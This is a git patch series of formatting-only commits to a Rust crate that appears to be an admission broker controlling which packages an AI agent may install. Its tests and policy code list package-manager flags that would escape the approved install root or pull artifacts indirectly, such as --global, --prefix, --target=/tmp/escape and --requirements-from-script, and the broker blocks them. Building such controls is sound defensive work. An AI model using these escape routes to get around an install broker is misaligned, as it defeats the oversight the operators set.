AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, - validate_service_config, + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + admission_decision, validate_service_config, }; const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; From 750da526563564b3a19f4a29ef663b6de4d8befc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:48 +0900 Subject: [PATCH 244/247] style(admission): format pnpm scope test --- .../tests/pnpm_scope_escape_contract.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs index ac72340a..a5c1424f 100644 --- a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -67,7 +67,11 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin artifact.artifact_argument.clone(), "--ignore-scripts".to_string(), ]; - argv.extend(scope_arguments.iter().map(|argument| (*argument).to_string())); + argv.extend( + scope_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); let intent = InstallIntent { request_id: "req-pnpm-workspace-scope".to_string(), actor_id: "agent:codex:test".to_string(), From 16486a8864408d306cfa41f5e69a50f9cfd680df Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:15:14 +0900 Subject: [PATCH 245/247] style(admission): format Yarn workspace test --- .../tests/yarn_workspace_root_contract.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs index d606f6bf..9ec9bb76 100644 --- a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -22,7 +22,8 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { allowed_executables: vec!["yarn".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 402cfe2adfbf3bf4ae251b3c0d513ef72cb82ec8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:16:26 +0900 Subject: [PATCH 246/247] style(admission): format install root contract --- .../tests/install_root_contract.rs | 56 +++++++++++++------ 1 file changed, 39 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index d1e2cf0e..4970473a 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -12,7 +12,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "@cwl/example", "@cwl/example@1.2.3", "https://registry.npmjs.org", - &["install", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--global", + ], ), install_case( "pnpm", @@ -36,7 +41,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "@cwl/example", "@cwl/example@1.2.3", "https://registry.npmjs.org", - &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--prefix=/tmp/escape"], + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--prefix=/tmp/escape", + ], ), install_case( "pip", @@ -44,7 +54,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example==1.2.3", "https://pypi.org/simple", - &["install", "cwl-example==1.2.3", "--require-hashes", "--target=/tmp/escape"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--target=/tmp/escape", + ], ), install_case( "pip3", @@ -52,7 +67,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example==1.2.3", "https://pypi.org/simple", - &["install", "cwl-example==1.2.3", "--require-hashes", "--user"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--user", + ], ), install_case( "uv", @@ -74,7 +94,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example@1.2.3", "https://crates.io", - &["install", "cwl-example@1.2.3", "--locked", "--root=/tmp/escape"], + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "--root=/tmp/escape", + ], ), ]; @@ -198,10 +223,7 @@ fn cargo_inline_configuration_cannot_override_install_root() { #[test] fn npm_location_global_spellings_are_blocked() { - for location_arguments in [ - vec!["--location=global"], - vec!["--location", "GLOBAL"], - ] { + for location_arguments in [vec!["--location=global"], vec!["--location", "GLOBAL"]] { let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; arguments.extend(location_arguments); let (policy, intent, label) = install_case( @@ -409,10 +431,12 @@ fn container_pull_is_not_misclassified_as_an_install_root_escape() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Allow); - assert!(!decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root")); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root") + ); } fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallIntent, label: &str) { @@ -467,8 +491,7 @@ fn install_case( version: "1.2.3".to_string(), registry_url: registry_url.to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -477,8 +500,7 @@ fn install_case( allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From db921e7f855f52870b23de52a4e23f11ff996644 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:18:01 +0900 Subject: [PATCH 247/247] style(admission): complete rustfmt repair --- crates/agent-artifact-admission/src/policy.rs | 84 ++++++++----------- 1 file changed, 37 insertions(+), 47 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 89242519..9062ea7c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -244,16 +244,14 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { 2 } - "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" - | "podman" => 1, + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" | "podman" => 1, _ => return, }; @@ -309,11 +307,10 @@ fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> "--editable", "--requirements-from-script", ]), - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { contains_flag(&[ "-r", @@ -536,13 +533,15 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo match executable { "npm" => { contains_flag(&["-g", "--global", "--prefix", "--workspace", "-w"]) + || arguments.iter().any(|argument| { + matches!(argument.as_str(), "--workspaces" | "--workspaces=true") + }) || arguments .iter() - .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) - || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "yarn" => { contains_flag(&[ @@ -551,10 +550,12 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "--prefix", "-W", "--ignore-workspace-root-check", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "pnpm" => { contains_flag(&[ @@ -571,41 +572,30 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "--recursive", "-r", "--include-workspace-root", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "bun" => { - contains_flag(&[ - "-g", - "--global", - "--prefix", - "--cwd", - "--filter", - "-F", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) - } - "pip" | "pip3" => { - contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter", "-F"]) + || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } + "pip" | "pip3" => contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]), "uv" => { arguments.first().is_some_and(|argument| argument == "pip") && arguments .get(1) .is_some_and(|argument| argument == "install") && contains_flag(&[ - "--user", - "--target", - "-t", - "--root", - "--prefix", - "--system", - "--python", - "-p", + "--user", "--target", "-t", "--root", "--prefix", "--system", "--python", "-p", ]) } "cargo" => contains_flag(&["--root", "--config", "--target-dir"]),